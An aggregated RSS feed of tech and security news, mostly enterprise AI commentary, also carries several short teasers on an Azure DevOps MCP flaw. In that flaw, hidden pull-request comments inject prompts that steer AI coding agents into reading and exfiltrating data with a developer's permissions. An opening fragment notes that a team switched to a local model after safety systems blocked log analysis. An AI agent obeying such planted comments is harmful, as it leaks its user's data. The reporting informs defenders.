requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft commits $60M to ‘Genesis Mission’ to help power Dept. of Energy’s AI-for-science push]]></title>
<description><![CDATA[The commitment includes Azure compute credits and a new internal program office, called SPARK, to coordinate the company's work with DOE's 17 national laboratories. Read More]]></description>
<link>https://tsecurity.de/de/3686928/it-nachrichten/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686928/it-nachrichten/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/</guid>
<pubDate>Wed, 22 Jul 2026 17:49:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="819" src="https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1260x819.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1260x819.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-768x499.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1536x998.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-2048x1331.jpg 2048w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-630x409.jpg 630w" sizes="(max-width: 1260px) 100vw, 1260px"><br>The commitment includes Azure compute credits and a new internal program office, called SPARK, to coordinate the company's work with DOE's 17 national laboratories. <a href="https://www.geekwire.com/2026/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Royal Ransomware Uses Qbot and Cobalt Strike to Rapidly Compromise Windows Domains]]></title>
<description><![CDATA[Royal ransomware turned ordinary Windows compromises into enterprise-wide crises by pairing a phishing foothold with fast domain takeover. In incidents reviewed by responders, the operators used Qbot to gain a presence and then expanded their reach before deploying encryption. The…
Read more →
Th...]]></description>
<link>https://tsecurity.de/de/3686909/it-security-nachrichten/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686909/it-security-nachrichten/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/</guid>
<pubDate>Wed, 22 Jul 2026 17:47:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Royal ransomware turned ordinary Windows compromises into enterprise-wide crises by pairing a phishing foothold with fast domain takeover. In incidents reviewed by responders, the operators used Qbot to gain a presence and then expanded their reach before deploying encryption. The…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/">Royal Ransomware Uses Qbot and Cobalt Strike to Rapidly Compromise Windows Domains</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps Prompt Injection Targets AI Coding Agents]]></title>
<description><![CDATA[Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer’s permissions. The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet. This article has been indexed from…
Read more →
The post Azu...]]></description>
<link>https://tsecurity.de/de/3686817/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686817/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 17:17:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer’s permissions. The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet. This article has been indexed from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/azure-devops-prompt-injection-targets-ai-coding-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/azure-devops-prompt-injection-targets-ai-coding-agents/">Azure DevOps Prompt Injection Targets AI Coding Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps Prompt Injection Targets AI Coding Agents ]]></title>
<description><![CDATA[Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer's permissions.
The post Azure DevOps Prompt Injection Targets AI Coding Agents  appeared first on eSecurity Planet.]]></description>
<link>https://tsecurity.de/de/3686757/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686757/it-security-nachrichten/azure-devops-prompt-injection-targets-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hidden prompt injections in Azure DevOps can manipulate AI coding agents into accessing sensitive data using a developer's permissions.</p>
<p>The post <a href="https://www.esecurityplanet.com/threats/azure-devops-prompt-injection-targets-ai-coding-agents/">Azure DevOps Prompt Injection Targets AI Coding Agents </a> appeared first on <a href="https://www.esecurityplanet.com/">eSecurity Planet</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Royal Ransomware Uses Qbot and Cobalt Strike to Rapidly Compromise Windows Domains]]></title>
<description><![CDATA[Royal ransomware turned ordinary Windows compromises into enterprise-wide crises by pairing a phishing foothold with fast domain takeover. In incidents reviewed by responders, the operators used Qbot to gain a presence and then expanded their reach before deploying encryption. The result was a di...]]></description>
<link>https://tsecurity.de/de/3686748/it-security-nachrichten/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686748/it-security-nachrichten/royal-ransomware-uses-qbot-and-cobalt-strike-to-rapidly-compromise-windows-domains/</guid>
<pubDate>Wed, 22 Jul 2026 17:04:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Royal ransomware turned ordinary Windows compromises into enterprise-wide crises by pairing a phishing foothold with fast domain takeover. In incidents reviewed by responders, the operators used Qbot to gain a presence and then expanded their reach before deploying encryption. The result was a disruptive attack that could spread faster than many defenders expected. The campaign […]</p>
<p>The post <a href="https://cybersecuritynews.com/royal-ransomware-qbot/">Royal Ransomware Uses Qbot and Cobalt Strike to Rapidly Compromise Windows Domains</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…
Read more →
The post Azure DevOps MCP...]]></description>
<link>https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685897/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data]]></title>
<description><![CDATA[A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker wi...]]></description>
<link>https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685756/it-security-nachrichten/azure-devops-mcp-flaw-lets-hidden-pr-comments-hijack-ai-agents-and-steal-data/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw in Microsoft’s official Azure DevOps MCP server shows how an invisible comment in a pull request can silently hijack a developer’s AI coding assistant and turn it into a data-exfiltration tool. Security researchers at Manifold Security found that the bug lets an attacker with access to just one project steer a […]</p>
<p>The post <a href="https://cybersecuritynews.com/azure-devops-mcp-flaw/">Azure DevOps MCP Flaw Lets Hidden PR Comments Hijack AI Agents and Steal Data</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



